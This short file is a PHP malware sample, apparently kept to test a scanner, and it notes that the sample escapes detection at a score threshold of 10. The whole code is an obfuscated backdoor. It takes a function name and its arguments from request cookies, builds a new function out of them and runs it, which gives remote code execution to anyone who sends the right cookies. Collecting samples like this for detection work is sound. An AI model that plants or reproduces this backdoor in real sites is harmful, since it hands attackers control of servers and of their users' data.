php malware

[camlafit]

This file is not detect with minscore == 10

<?php 
$sgxxx=$_COOKIE;
$ctkfp=$sgxxx[buec];
if($ctkfp){
        $yqakb=$ctkfp($sgxxx[zpmv]);$mmxra=$ctkfp($sgxxx[chde]);$aue=$yqakb("",$mmxra);$aue();
}